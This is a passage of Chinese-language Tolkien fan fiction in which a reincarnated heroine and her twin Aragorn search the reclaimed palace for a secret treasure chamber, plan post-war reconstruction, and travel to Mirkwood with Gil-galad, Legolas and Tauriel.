现在又有一个新的问题摆在你面前,那就是如何找到密室,你以前只听你的父亲阿拉松说起过存在着一个密室,但是具体在哪里你也不清楚,更别提如何打开密室的门了,先前在幽谷的时候你就有问过你们的母亲吉尔蕾恩关于密室的问题,但对方也是一问三不知。 所以现在看来只能靠你自己了,你没抱太大希望地询问阿拉贡,“你知道宫殿里密室的消息吗?” 阿拉贡知道的信息比你还要少,他说:“什么密室?”他一开口你就知道他连宫殿内存在密室都不清楚,想到这里你不由地叹了一口气,看来想要从阿拉贡那里得到有用的信息是不用指望了。 阿拉贡的脸上还有刚才杀死半兽人溅到的血迹,你看不过去又给他递出一条干净的手帕让他擦擦脸,其实连还是次要的,主要是他头发都粘成一缕一缕的,就跟曾经风靡某国的湿发发型一样,好在他的五官实在是明朗俊秀所以才不至于让他的造型看起来很灾难。 被你那么一问,阿拉贡就又开始询问你关于密室的事情,“这个宫殿内还有一个密室?可我怎么不知道呢?” 你略带敷衍地说:“你不知道的事情还多着呢。” 没错,他不否认这一点,确实有很多事情他都不知道,但是这件事他更是从未听闻过。 架不住他一直询问你,你就耐着性子地解答:“那是很久以前的事情了,大概是在我们四岁的时候,我无意之中听父亲说起密室的事情。”他说密室内藏着国之重宝,以及其他的藏品,至于具体是什么那你就不清楚了,毕竟那时你是偷听来的,而且你后来主动向阿拉松提起过这个话题,但是他却有意无意地转移话题,总之你到最后都没有问出什么游泳的信息,这也是你的遗憾。 或许当时你再执着一些就好了,偶尔你也会这么想,但即便是这样你没想过读档,因为你的性格从来都是一条道走到黑的类型,除非是像上个副本那样迫不得已之下才会选择读档,因为你也不确定贸然读档对你是否会产生什么不利影响,所以一切还是谨慎为妙。 现在看来只能凭借你的直觉还有推理去寻找那个不知道藏在哪里的密室了,你环视四周,先是从宫殿大门进去,路上你们还遇到几个漏网之鱼的半兽人,你和阿拉贡随手解决了他们,并没有因此停下脚步而是继续往前走。 这座宫殿承载着你和阿拉贡的回忆,他时不时用手指了指某个长廊的转角,“你还记得这里吗?我们以前还在这里摔过跤。” 他怎么连这种事情都记得一清二楚?你早就已经忘得一干二净了,你说:“我不记得了,而且如果是摔跤的话,我怎么觉得是只有你摔跤了呢?” 毕竟以前小时候的阿拉贡经常出现这种小插曲,但他拒绝承认,而且还说:“不,那你肯定是记错了,相信我,在这方面我的记忆力比你好多了。” 好吧,那就随便他怎么说吧,因为你的当务之急是去寻找密室,因此对于阿拉贡的话你都是敷衍了事,没过多久阿拉贡也感受到你的敷衍,他就不再提起类似的话题,而是专心致志地和你一起寻找密室。 但在那么偌大的宫殿里寻找一间小密室谈何容易,你们走了半天,最后来到满是枯木的花园,这次换你回忆过往,“这群半兽真是不懂得欣赏花艺。” 你们坐在花园旁边的草地上,阿拉贡被你的语气逗乐了,他笑着说:“如果他们能够欣赏花艺那就不是半兽人了。” 说的也是。 你的目光转移到不远处的月桂树上,真没想到它看上去居然还活着的样子,你不由地略带惊讶地起身,快步走到那棵月桂树旁边,你伸出手触碰枝叶,确认这棵树居然还坚强地活着,你就又回过头对着阿拉贡招招手,后者虽然有些不解但还是来到你身边低声问道:“怎么了?” “这棵树是我们母亲结婚的时候种下的,她先前还和我说起过这棵树,没想到居然还活着。” 要知道在半兽人占领这片土地以后就连这里的土壤都多多少少地受到了污染,这直接导致花园内大部分植物都逐渐死去枯萎,但这棵树却坚持了下来,它似乎在这个恶劣的环境中达到了某种微妙的平衡状态。 在你和阿拉贡谈话间,刚才帮着其他精灵收拾战场的格洛芬德尔也终于在花园这里找到了你们,准确来说是找到了你,他说:“原来你们在这里啊。” 听到格洛芬德尔的声音,阿拉贡的表情立刻变得很古怪,他很小声地说:“他怎么找过来了?” 你没发现阿拉贡原来对格洛芬德尔有意见吗?奇怪,他们之前相处得不是很融洽吗?而起论起来格洛芬德尔也算阿拉贡的半个老师呢,他们之间的关系什么时候发生变化的? 用疑惑的眼神看看阿拉贡又再次看看格洛芬德尔,不明白他们之间发生了什么,你说:“我们刚刚正好聊起这棵月桂树,那是多年前我们的母亲成婚时种下的,如今居然还存活着。” 格洛芬德尔看了一眼这棵月桂树,精灵能够听懂植物所表达的意思,他侧耳倾听,过了一会笑着说:“它也认出了你们,还在为你们的到来而感到高兴呢。” 阿拉贡笑不出来,他借机转移话题,“我们还有别的事情要做,暂时失陪一下。” 然后你们就在格洛芬德尔疑惑的目光中离开,阿拉贡拉着你一边走一边小声地碎碎念,“精灵之间的爱恨情仇可真麻烦。” 你抽回手,好笑地问:“你怎么突然这么说?” “那还不是因为——”他一开口就发现自己的音量太高了,于是转而降低音量,还不是因为他得知惊天大秘密,吉尔-加拉德曾经是你的伴侣,那么这样看来,他就是你的前夫了,而格洛芬德尔呢?他则是坚持不懈的追求者。 维拉在上,这个关系实在是太复杂了,而且也很难理清楚,面对这些问题他又该站在怎样的立场上呢?他又该如何应对呢?每到这时候阿拉贡都会很懊悔自己之前怎么会那么好奇。 果然好奇心害死猫的道理是通用的。 “还不是因为你和吉尔-加拉德,唉,你们到底是什么关系呢?”说着说着,他的眉毛都快皱巴到一块去了。 什么啊,原来他脑袋里想的都是这问题吗?你还以为是什么重要的大事呢。 阿拉贡可没你那么轻松,毕竟他还能保守秘密,从某种程度上来说这对他也是一种负担,可你却表现得丝毫不在乎,还认为那是无关紧要的小事。 “就只是很普通的关系而已。”你说。 阿拉贡叹了一口气,其实无论怎样,他都会选择站在你这边的,所以既然你说是普通的关系,那他就也这么认为吧。 谈话间你们又绕到了宫殿的另外一边,中间甚至还路过了你们曾经的卧室,阿拉贡停在卧室门口,他说:“你还记得这里吗?” 你的记性好像没有那么差劲吧?你说:“嗯,当然记得啊,那不是我们以前的卧室吗?” 看阿拉贡的表情你就知道他心里在想什么,算了,你在心里对自己说既然一时半会找不到密室,暂为休息一下也没关系。 于是你看着阿拉贡推开门,你跟在他后面走入房间内,半兽人虽然占领了这座宫殿,但是他们大部分时间都生活在地下的巢穴里,所以宫殿的房间居然还保存完好,只不过是灰尘多了些,但除去灰尘,这个房间还保留着你们当初离开时的模样,就好像一切都还没有发生,你们又回到了无忧无虑的童年。 床铺被单表面积攒起一层厚厚的灰尘,傍晚的夕阳透过窗户撒向屋内,使得漂浮在空气中的灰尘也变得金光闪闪。 阿拉贡走到床头,那里摆放着一本看到一半的童话书,他以前很喜欢在睡前看这些故事书,在那本书旁边还有拼到一半的拼图,这些都是你们曾经生活过留下的痕迹,阿拉贡拿起那本书,伸手拂去上面的灰尘,书本中间还夹杂着你亲手制作的书签,他说:“这本书都能当历史书了。” 这是个很冷的笑话,你配合 地笑了一下。 阿拉贡也意识这个笑话太冷了,唇角的笑容逐渐消失,他捻起一块拼图,“所以……你是在出生的时候就已经恢复……呃,怎么说,你上一辈子的记忆了吗?” “嗯,我还记得再次来到这个世界上睁开眼睛的时候你哭个不停,而且哭声非常嘹亮。” 阿拉贡颇为尴尬地移开视线,“转生会感到痛苦吗?” 这样的问题吉尔-加拉德也问过,你将回答吉尔-加拉德的答案原封不动地说给阿拉贡听,你说:“不会,实际上根本没什么感觉,只是一开始会有些迷茫。”比如说会产生“差不多人生为什么还要再来一次”以及“伊露维塔真的不是在耍我么?”这一类的错觉。 但伴随着时间的流逝,这样的迷茫也会逐渐消失,最后变得格外平静,又或者是你意识到自己还得继续受到这个系统模拟器的影响。 “但不可否认的,你的存在确实为我增添了很多乐趣。”尤其是观看阿拉贡掉眼泪的样子更是让你觉得十分有趣。 阿拉贡很有默契地猜到了你说的乐趣是什么,他沉默不语,“但是无论怎么说,我还是觉得很幸运,能够和你成为亲人。” 他这是在做什么,突然和你来煽情那一套?你不解地挑起一边的眉毛,“就算这么说我也忘不了你哭得满脸都是眼泪的样子。” 阿拉贡彻底不说话了,你们在房间里转了一圈,你从自己的床头柜里还发现了之前父亲阿拉松送给你的手环,那是这个国家对于勇者的赞赏,你看着这条破旧的手环陷入回忆,他是因为什么才送你这个手环的来着? 哦对,好像是因为你亲手杀死了一条潜入卧室内的毒蛇,当时的你面不改色地将小刀刺入毒蛇的身体里,硬生生地将它钉在墙壁上,恰好这一幕被你的父亲阿拉松看见了,他为了表示对你的赞扬就将这条手环送给你,那是他年轻的从他的父亲手中得来的,现在又转交到你手里。 因为当初半兽人军队来势汹汹,所以你都没能将这个手环带走,但是兜兜转转,在十多年以后它又回到了你手里,就如同命运的安排。 拿起那个手环,由于一直都放在抽屉里,所以这条手环上面并没有沾染太多的灰尘,只不过在岁月的侵蚀下它的边边角角开始泛黄,你将手环戴在手腕上,这才又起身就要走出房间,当你走到门口时,另外一道熟悉的身影正由远及近地走来,你定睛一看,原来是吉尔-加拉德,他说:“我听闻你们在寻找什么东西。” 也不知道他是从谁那里听来的,该不会是格洛芬德尔那里吧? “是的,我们在寻找一间密室,只可惜手头的线索不够多,估计得要找一阵子了。” 吉尔-加拉德是带着好消息来的,他说:“密室?那我刚才似乎好像刚刚路过一间密室,当然我也不确定那是不是你正在找的密室。” 闻言,你的眼睛一亮,果然关键时刻还是吉尔-加拉德更加靠谱一些,你当即就说:“在哪里?我过去看看。” 吉尔-加拉德也预料到你会是这个反应,他对你做了个请的手势,“就在那个方向,我带你过去看看吧。” 还在房间里怀念过去的阿拉贡一转身就发现你不见踪影,他急匆匆地跑到房间外面就发现你已经跟着吉尔-加拉德离开了,他犹豫片刻,最后还是没有追上去,毕竟如果他跟上去的话总觉得气氛会变得很奇怪,而且他又该怎么称呼吉尔-加拉德呢?这又是一个没有答案的问题,所以综合考虑之下,他还是留在原地,目送你和他离开。 至于你和吉尔-加拉德那边,你们一路来到他所说的那个密室,实在是很隐蔽,如果不仔细看就会直接从旁边路过,你刚才应该就是没有察觉出不对的地方,直接就走过去了。 “对了,在这之后你真的要和格洛芬德尔一同回密林吗?” 他冷不丁地冒出这么一句话。 第93章 第93章“阿拉贡。”你忽然叫了…… “你的消息可真灵通。”你似是无意地说,吉尔-加拉德也意识到自己这个问题太直接了,他带着几分歉意地笑了一下,并且轻声向你道歉:“抱歉,这件事情我不该问的。”话是这么说的,但如果真的要寻找一位陪同你回密林的精灵,他理所当然地认为自己才是最佳选择。 “这件事情是格洛芬德尔单方面说的,至于到时候具体如何,暂时还不能确定。”你说得很模棱两可,“而且再说了,这次战事结束后你不用回纳国斯隆德吗?” 吉尔-加拉德早有准备,实际上他在上次回到纳国斯隆德调兵的时候就已经开始为自己在此之后很长一段时间的离开做准备了,他的父亲欧洛德瑞斯听闻他的打算后也表示支持,他甚至还欣慰地说:“能够看到你再一次获得幸福,对我来说也是一件值得高兴的事情。” 但吉尔-加拉德的回答就没那么轻松了,他说:“距离再一次获得幸福还有一段时间呢,不过……”能够陪伴在你身边确实是一件幸事,这一点是他不可否认的。 纳国斯隆德的君主芬罗德也告诉吉尔-加拉德大可以放心离开,他半开玩笑地说:“也不知道是否还能见到你再一次带她回到纳国斯隆德。” 吉尔-加拉德清楚地读出对方的调侃意味,于是也顺着芬罗德的意思说:“恐怕没那么简单。” 也是,毕竟根据芬罗德对你的了解,爱情不像是你的人生的重心,除此之外你还有别的更多事情需要实现。 回忆到此为止,吉尔-加拉德回答道:“暂时还不用那么着急回去,纳国斯隆德那边我都已经打点好了。” 你没再回答,因为你的大部分注意力都被密室的入口吸引,既然是密室那就是没可能那么轻易地打开,你站在门外思索该如何才能打开这扇门,这门看起来就像是镶嵌在墙壁里的,严丝合缝,找不出一丝一毫的缝隙,上面雕刻的图案你也不陌生,因为这样的花纹同样也印在战旗上面。 伸出手敲了敲那凹凸的花纹,你摸索到中间似乎是放钥匙的一个凹槽,这扇门应该要用钥匙才能打开,那么现在问题就变成了那把钥匙又在哪里呢? 你有些烦躁地皱起眉,手指捏着手腕上的手环,突然之间你触碰到了一块微微凸起的地方,你原先还以为那是你的错觉,但是低头一看,你摘下手环拿在手里仔细观察,这才发现其中的奥秘,站在一旁的吉尔-加拉德见到你双手突然用力这个手环也从中间裂开,露出内里的夹层,而那夹层里就藏着一枚小巧精致的钥匙。 你突然意识到其实在很久以前你的父亲阿拉松就已经将密室的钥匙交给你了,在他心里你才是那位合适的继承人,想到这里你从夹层里抽出那枚钥匙而后放入石门上的钥匙凹槽 里,顺时针扭转一圈,你隐约听见从门里面传出来的机械齿轮转动的动静,过了将近半分钟那动静才逐渐消失,取而代之的是石门缓缓移动的沉闷声响。 伴随着石门的移动,带起一阵尘雾,你下意识地后退几步免得吃灰。 透过越来越大的缝隙你得以看见门后面的密室景象,映入眼帘的是琳琅满目的珍宝,但是这些你都不感兴趣,而且这些东西你到时候还得要打包送给密林的精灵王作为他曾经帮助过你的报酬。 越过这些流光溢彩的珍宝,你的目标很明确,径直走向武器区域,里面大部分武器都是从第一纪元流传下来的,你身边的吉尔-加拉德还能叫出其中一些武器的打造者,大部分是精灵,而且还都是已经西渡了的精灵,至于剩下的,也有一些是由优秀的人类打造而成的武器。 “那应该是……嗯,费诺里安打造的武器。”吉尔-加拉德跟上你的脚步,至于是哪个费诺里安那他就不清楚了,因为他们师从父亲费艾诺,而费艾诺恰好又是整个维林诺内最具才能的精灵,所以常年跟在父亲身边的费诺里安也受到熏陶,几乎每一个都擅长锻造。 你的目光转移到那对双刀上,你想起莱戈拉斯也有一对双刀,当他的箭矢用尽后他才会从背后拔出双刀,而他大多数时候都是仅凭弓箭就能消灭敌人,因此你很少见到他使用双刀的画面,仅有的几次也是在密林的时候为了给你演示如何使用双刀。 而此刻被放置在水晶柜里的双刀在工艺上显然比莱戈拉斯的那对双刀更上一层楼,这一点光是从刀锋就能看得出来,尽管你只是看了几眼,但你依旧会被费诺里安的精湛手艺所惊艳到。 这不像是武器,反倒更像是艺术品,想着,你打开水晶柜,从中拿出那一对双刀,拿在手里的重量不会太沉重,甚至可以用轻盈来形容,但绝不能因为轻盈而忽视它的杀伤力,因为那泛着寒光的刀锋削铁如泥,一个不留神就会在皮肤上开一道口子。 而你就是差点就被尖锐的刀锋划开皮肤,双刀的刀柄上镶嵌着两颗血红色的宝石,那宝石经过打磨后现得无比对称,充分显示出对称的美感,你的手指触碰摩挲那颗红宝石,你总觉得这把双刀应该是出自迈兹洛斯之手,因为他素来喜爱红宝石,而且这艳丽的红色也不由地让你联想到他那头同样艳丽如同火焰般的红色长发。 转了一圈下来,你还是觉得这对双刀最适合你了,你第一次拿到手上就能够感受到自己和它相性良好,精灵打造的武器,尤其是精心打造的,他们倾注的心血会使得这些武器拥有自己的意识,当然,这种意识是朦胧的,你刚才就链接了这对双刀的意识,它们并不排斥你,甚至还觉得你是一位合适的主人,它们肯定了你的能力。 很好,这对双刀那就归你了。 剩下的一些武器你只是简单地扫了一眼,都没再仔细看过,你又开始思索该怎么把这些珍宝打包送到瑟兰迪尔那里,毕竟珍宝不像是其他的货物,稍微磕磕碰碰就会导致珠宝表面出现瑕疵,这确实是一个让你感觉到头疼的问题。 最后还是吉尔-加拉德表示自己可以帮忙打包这些珠宝帮忙送到密林,他说:“正好我也打算去拜访瑟兰迪尔陛下。” 到底是想要拜访瑟兰迪尔还是想要和你同行,这个问题的答案就只有他自己知道了,你不置可否,只是先感谢他帮忙运送货物,这确实为你解决了一个棘手的问题。 至于何时回到密林,以及选择谁陪同你一起,那就不是现在需要考虑的事情了。 你从密室里出来,外面漆黑的天空中萦绕着一层浓重的烟雾,那是其他精灵和人类正在清扫战场,你对身边的吉尔-加拉德说:“走吧,我们也该去帮忙了。” 等你们到达一片狼藉的战场时,清扫工作已经进入收尾状态,你帮着清扫地面上残留的断肢残臂,如果放任不管,那么这里要不了多久就会变成食腐动物的天堂,而且更糟糕的是还会引起各种疫病。 附近的人类村落察觉到这里的动静,他们纷纷赶来战场,实际上刚才在战争中你就发现了一支从东面赶来支援的人类军队,从装备来看不算太正规,就像是临时组建的军队。 你找到那个临时军队的首领,那是一位留着利落短发的女性,她在看到你的那一刻表情惊讶,又惊又喜,“能够看到您长大成人实在是太好了。” 由于刚才长时间地指挥手下攻击半兽人使得她的嗓音变得沙哑,但她的双眼却很明亮,眼睛里闪烁着泪光,“您的母亲还好吗?” 你想起来了,她当初是你的母亲吉尔蕾恩的侍女莉娜,但是在你的印象里她一直都是将头发盘得一丝不苟而且身穿长裙的模样,因此一时之间你没能把她和记忆中的人对上号,你愣了一下,试探性地说:“你是……莉娜?” 莉娜笑了起来,“是的,是我,原来您还记得我呀,这是我的荣幸。” 话语间她激动得热泪盈眶,眼泪顺着脸颊滑落,她抬手擦去眼泪,“抱歉,这明明是个值得高兴的场合,但我却……但我却——” 还好你之前安慰母亲吉尔蕾恩都已经安慰出经验来了,你先是握住她的手,然后再轻轻地拍一拍她的手背,“没关系的,眼泪并不是什么软弱的代名词。” 莉娜很快止住眼泪,她向你说起十多年前你们的家园沦陷后她带着剩下的居民迁徙到东面的区域,并且在那里开展了长达数十年的反抗活动,因此这一次她也能及时捕捉到这边的动静,并且当机立断地率领队伍过来支援你们。 “我就知道阿拉松大人的后代肯定会再次夺回这片土地的。”莉娜笑着说,看向你的眼神里满是敬仰。 你也顺着她的意思点点头,接着她又问起你的兄长阿拉贡,“您的兄长还好吗?”她刚才并没有在战场上见到阿拉贡的身影,当然也有可能是因为当时的场面实在是太混乱了,就连你在那场战乱中都和阿拉贡分散开来了。 “他很好。”你言简意赅地回答,另外一位应该是她的手下走到她身边对她低声细语几句话,莉娜就又对着你点点头,“请允许我先失陪一下。” “你请便。” 等到莉娜走后陶瑞尔和莱戈拉斯就又结伴从你身边路过,他们还在讨论什么,似乎是陷入了争论,而且谁也不让着谁,最后就揪住旁边的你充当裁判,莱戈拉斯说:“亚玟你说,杀死一只蝙蝠应该也能等同于杀死一个半兽人吧?” “蝙蝠就是蝙蝠,又怎么能与半兽人画等号呢,亚玟可不会被你说服的。”陶瑞尔说着,他们的手上还都拿着回收的箭矢,大部分箭矢的箭簇都沾染着鲜血,有的鲜血甚至都已经干涸了,他们在回收所有的箭矢以 后就会去到小溪旁边用溪水清理箭矢,然后再循环利用。 你算是明白了,他们就是在讨论在刚才那场战争中谁杀死的半兽人更多,你也不太明白他们怎么还会比较这种,可能是因为他们的年纪放在精灵里也都很小吧,所以偶尔幼稚一些也不奇怪,他们现在显然是把你当成比赛的裁判了。 “莱戈拉斯你杀死了几个半兽人?” 莱戈拉斯马上回答:“一百零三个。”你总觉得他的计算也不怎么准确,因为你记得自己刚才在战争中瞥见他一招直接放倒了一大片的半兽人,光是那一片半兽人少说也有上百个,怎么最后算下来也才一百出头呢? 而陶瑞尔则是恰好一百个,你听完他们的答案过了一会才说:“……你确定你们都数得清清楚楚吗?” 简单的一句话让他们陷入沉思,是啊,他们计算的都是大概的数字,莱戈拉斯说:“应该差不多吧?” “如果你们也不能确定自己的数字是否准确,我又该如何做出公正的判断呢?不过就算没有这些数字,你们在我心里也都是最骁勇善战的精灵士兵。” 不得不说,你的这一番话确实让他们很受用,本来还在计较谁赢谁输的莱戈拉斯还有陶瑞尔都没再特别在意谁是赢家,谁又是输家。 好不容易解决完这个问题,他们两个精灵还没打算走,莱戈拉斯问道:“你打算什么时候回密林?我们好写信回去让他准备一番。” “我还没有想好。”你都还没把要送给瑟兰迪尔的珠宝打包呢,更别提启程去往密林的事情,也不知道何时才会提上日程,“你们很着急吗?” 莱戈拉斯倒是没有那么着急,他巴不得在外面多停留一会,就是这些天他接连收到来自密林的信件,他就猜到了他的父亲在担心自己还有陶瑞尔,虽说他平日里经常和父亲有矛盾,但是在这种时候他也能够体谅父亲的心情,而且他也想向密林的伙伴分享他这段时间的所见所闻,告诉他们他的经历。 “并没有很着急,只是问一下而已。”陶瑞尔说,“你想好选择谁陪你回密林了吗?”不同于莱戈拉斯的粗神经,她比莱戈拉斯早一步察觉到你周围复杂的人际关系,实在是复杂,但你却又表现得那么游刃有余,她都要怀疑是不是自己的错觉了。 “我大可以自己一个人回密林。”你说。 莱戈拉斯表示赞同,他没有陶瑞尔考虑得那么多,在他看来最重要的还是你的感受,反正只要你开心一个人回密林也没什么问题,陶瑞尔想了下,发现可能是自己多虑了,她也放松地笑了,“没错,这样也很好。” 后来你们又聊了一阵子,是莉娜再次折返回来才使得你们的对话暂时中断,她和你谈论起战后重建的问题,对于如何战后重建,你算是颇有心得,因为在上一个副本的时候你就亲手指挥了多尔罗明的战后重建,所以现在制定计划更是得心应手。 莉娜本来只是想着和你商量出一个粗略的方向,但是没想到你在这么短的时间内就拟定了一份面面俱到的战后重建的计划,有些细微的细节你都考虑到了,这让莉娜更加感到惊讶,听到后面她小心翼翼地打断你,“抱歉,您说得太快了,我有些没能记住。” 你知道是自己刚才的语速太快了以至于她有些地方没能听清楚,于是你贴心地说:“没关系,我之后会再给你一份详细的纸质文件的,到时候我们可以再好好讨论一番,争取把那些小问题都在计划阶段解决。” 话音落下,莉娜表示赞同地连连点头,她说:“好,我明白了。” 当天晚上你就坐在刚刚清理出来的会客厅里借着灯火在纸上写下详细的计划步骤,当你写到如何改善被污染的土壤这一部分的时候会客厅的门被人敲了几下,你头也没抬一下,对着门说:“进来吧,门没锁。” 门被推开,进来的是阿拉贡,而且还是洗过头洗过澡的阿拉贡,可能是因为他也意识到自己顶着一身血污来见你并不合适吧,他在你对面坐下,瞥了一眼你在纸上写下的内容,“这是什么计划?” “如你所见,这是战后重建的计划。”你很慷慨大方地把这张纸展开给他看,他认真地阅读后,过了很久才开口,“你当初也是这样将战后的多尔罗明重新恢复往日的光辉的吗?” “是的。”看他大概看完了,你就又把这张纸抽回来,然后继续写下面的内容,阿拉贡的表情很认真,他说:“虽然母亲觉得我应该承担起继承人的责任,但是我总觉得自己做得还不够好,你才是最合适的那一个。” 你依旧在奋笔疾书,似乎压根没理会他说的话,好在阿拉贡都已经习惯你这种反应了,他反而觉得这很正常,毕竟从心理年龄来看,你比他确实年长不少,所以面对很多事情都能波澜不惊。 但是他迟迟没有等来你的回答,无奈之下他只能再问一遍,“你觉得呢?” “我认为,现在的我们想要复兴王室很难,一方面北方的阿尔诺王国百废待兴,南方的刚铎也不一定会承认我们。”所以现在根本不是考虑谁是继承人的时候,而是应该考虑如何复兴国家,当然你也可以借助精灵的力量,幽谷和纳国斯隆德甚至是洛丝罗瑞恩也会看在你曾经救下阿尔温公主的面子上帮助重建王国,但是你还是想去多尔罗明看看。 比起阿尔诺还有刚铎这两个对你来说没什么印象的国家,很显而易见地,多尔罗明在你心里的地位更高。 “接下来先是由精灵帮助我们重建家园,与此同时我还会和多尔罗明的官员接触。” 阿拉贡很敏锐地察觉到了什么,“因为那才是你真正的故乡是么?” 他说中了一半,你挑起一边的眉毛,“算是吧,还有另外一方面的原因,那就是我想亲眼看看这个国家发展到什么程度了。” 阿拉贡又说:“那我和你一块去吧。” 你们虽然是双生子,但又不是什么连体婴,不是走到哪里都要待在一块的,你说:“你就没有别的事情要做的吗?” “嗯……但你的事情优先性是最高的。”他很肯定地说,其实他在小时候就表现出这样的倾向了,你的事情往往排在其他事情之前,就连你的母亲吉尔蕾恩也问过他如果你的事情和更加重要的事情发生冲突了又该怎么办呢? 而那个时候的阿拉贡则是很笃定地说:“那就只能选择亚玟了,因为我想不到比她还要更加重要的事情了。” 外加之十多年前你们被迫分离,这就使得他更是变本加厉,你说:“那就留下来,按照我的计划来推进战后重建的事情,如果是你的话,我相信你会做得很好的。” 你本来就想着低调地去往多尔罗明,要是再带上一个阿拉贡那就太明目张胆了,很吸引他人注意,这不就和你一开始的目的相违背了吗?所以无论怎么说你都不能让他跟着你一块去多尔罗明。 阿拉贡接下来的日子都被你安排得明明白白的,他也毫无怨言,毕竟他也知道阿尔诺王国的重建工作迫在眉睫,而且你看上去就不希望他跟着你一道走,他只能点点头,表示自己理解你的决定,“那我会按照你的计划来的。”话音落下,阿拉贡起身就要离开会客厅。 “阿拉贡。”你忽然叫了一声他的名字。 “什么?”他回过头,就好像一直都在期待你呼唤他的名字,你从旁边的纸堆下面拿出一个你刚刚做的金属书签,“这个给你,以前的那个书签都已经生锈了,换个新的吧。” 第94章 第94章“因为我只忠于我自己。…… 返回密林的事情很快就被你提上日程,最后和你一同前往密林的除了莱戈拉斯和陶瑞尔,还有吉尔-加拉德,格洛芬德尔本来也想和你一起去往密林的,但似乎他后来又收到了来自幽谷的信件,这才没能如愿与你同行,而吉尔-加拉德在得知这个消息后也表示理解,他说:“我想现在的幽谷更加需要他。” 当然,等格洛芬德尔赶回幽谷结果发现埃尔隆德并没有寄出那封信都是后话了。 在格洛芬德尔意识到自己被骗了的时候已经太晚了,此时的吉尔-加拉德正在和你愉快聊天,那氛围就连莱戈拉斯都没办法加入你们的对话,只能看看你们,然后收回目光,接着小声地和陶瑞尔说:“他们怎么一直在聊天?” 他都有些不服气了,毕竟他才是更先认识你的精灵吧?他自认为自己和你的关系算得上是好朋友,但是中途冒出个吉尔-加拉德把你的注意力都吸引走了。 听到莱戈拉斯那么说,陶瑞尔则是说:“他们相处得很融洽。” 莱戈拉斯诧异于陶瑞尔居然不明白他的真实意思,她怎么就不明白呢?他说:“难道你就不觉得不平衡吗?” “莱戈拉斯,我知道你想说什么,但是她和谁,和哪个精灵更加亲近这都是她自己的选择,我们根本没有干涉权利。” “我可没有要干涉她的意思。”莱戈拉斯急于辩解。 陶瑞尔伸出手拍拍莱戈拉斯的肩膀,表示自己都能够理解的。 而另外一边的你和吉尔-加拉德还在聊多尔罗明的事情,吉 尔-加拉德中间还提到了阿拉贡,他原本也想去密林看看的,但是在你的劝说下留在阿尔诺负责战后重建工作,他说:“他很在乎你的感受。” 谁?他说阿拉贡吗?那确实是的,但他的性格决定了他会尽可能考虑自己在乎的所有人的感受,总的来说他就是个博爱的人,你说:“换做其他人劝说他他也会答应下来的。” 吉尔-加拉德曾经见过你和弟弟格林的相处模式,和阿拉贡的相处状态进行比较的话可以用天差地别来形容,你对待前者的态度不算太友善,不过吉尔-加拉德也能理解,毕竟他的存在会危及到你的地位,你自然不可能对他有什么好脸色看。 但吉尔-加拉德还记得自己和你成婚当天,在婚礼仪式结束后格林特意找到他,表情严肃而郑重地告诉他如果你无法在这段婚姻里获得幸福,那他会毫不犹豫地替你结束这段婚姻的,他没有将这件事情告诉你,因为格林说的这番话不像是在开玩笑,他是发自内心地这么认为的。 现在的你对待阿拉贡和善许多,他嗅到了这种和善的态度背后隐藏起来的疲惫感,这种疲惫是发自内心的,是你的灵魂都感觉到了疲劳。 或许人类的灵魂本就只能承受一次生命,你获得的第二次生命既是伊露维塔的赠礼,又像是对你的灵魂的折磨,因此吉尔-加拉德在为能够再次与你相见而感到庆幸的同时也在隐隐地担心着。 你敏锐地察觉到了他那犹豫纠结的内心,你说:“你在为什么感到忧虑?”你实在是不太明白现在又有什么是需要他担忧的,魔苟斯早就已经被清除,就连他的爪牙索伦也不过是强弩之末,任凭他还妄想用至尊魔戒控制精灵乃至人类,最后的结果也不过是失败。 “没什么。”吉尔-加拉德轻轻地摇了摇头,他不希望让你们之间的聊天气氛变得沉重,因此主动避开这个话题。 你们的运气不错,从阿尔诺去往密林的路上都没怎么遇到过下雨天,这些天一直是天高气爽的天气,越是靠近密林,你就越能感受到身边两位密林精灵的喜悦之情,就算先前莱戈拉斯总说自己没有那么恋家,但当密林的一角进入他的视野,他还是忍不住雀跃道:“我看见密林了——” 精灵的视力都很好,被他这么一说,陶瑞尔也应了一声,“我也看到了!” 于是乎接下来的话题就变成了密林的各种特色,比如密林的美酒,密林的美景,哦当然了,还少不了密林里的巨型蜘蛛,他们热情地向吉尔-加拉德的手下介绍密林。 吉尔-加拉德作为来过密林的精灵在心里默默地表示莱戈拉斯和陶瑞尔的介绍词半真半假,不全是真的。 要说真的,密林的美景确实令他印象深刻,要说假的,那就是密林的美酒了,纯度太高,后劲十足,他同样记忆犹新。但吉尔-加拉德只是安静地听着,偶尔还会对着莱戈拉斯点点头,看似表示赞同。 密林的精灵也早早地发现你们这支队伍,以加里安为首的精灵率先朝着你们奔来,莱戈拉斯干脆从马背上一跃而下,高兴地抱住加里安,“加里安!我们有一段时间没见了!” 加里安被莱戈拉斯的拥抱打了个猝不及防,他怎么觉得他们的王子殿下出去一趟之后好像性格都发生了改变?没有之前那么别扭了。 陶瑞尔也从马背上下来,她用精灵语笑着说:“莱戈拉斯,你吓到加里安了。” “噢——抱歉,我只是再次见到熟悉的伙伴很高兴而已,啊对了,这些就是密林的客人了。”莱戈拉斯热情地一个个地介绍过去,加里安说:“您也不必介绍得那么详细,有些精灵我们早就已经见过了。” 他提到的有些精灵中就包括了吉尔-加拉德。 莱戈拉斯花费了一些时间才将激动的心情平复下来,他走在前头和加里安还有其他密林精灵有说有笑的,才进入密林的边缘,他就已经说到了前往索伦的老巢营救你和阿尔温公主的冒险经历,周围的密林精灵听得无比认真,甚至于眼睛都不带眨一下的,有的精灵还差点被路过的树枝勾住头发,足以看出他们多么喜欢听冒险故事。 在进入密林以后你也从马背上下来,接下来的路途不适合骑马,你一手牵着缰绳一手握着腰间的佩剑剑柄,穿过两条小溪,拨开层层树枝枝叶,藏在森林深处的精灵宫殿逐渐呈现在你们面前,虽说这不是你的故乡,但你也在这里居住了十多年,因此你在看到那座精灵宫殿时,内心不免泛出些许熟悉感。 莱戈拉斯轻快的声音在你的耳边响起,“快看,这就是密林的精灵宫殿了,我认为不输于幽谷的宫殿。”后半句话他说得很轻,至于为什么不说其他的宫殿,那是因为他还没有去过洛丝罗瑞恩亦或是纳国斯隆德,所以也不好妄下定论,从某种角度来看,他也格外地严谨。 莱戈拉斯介绍到一半,你就顺着他的手指看见了站在宫殿大门口的精灵王瑟兰迪尔,别看他好像还在端着架子,但实际上目光早已落在儿子莱戈拉斯身上,但如果真的问起来他又绝对不会承认自己的关心,他们这对父子就是这样口是心非而且喜欢拐弯抹角。 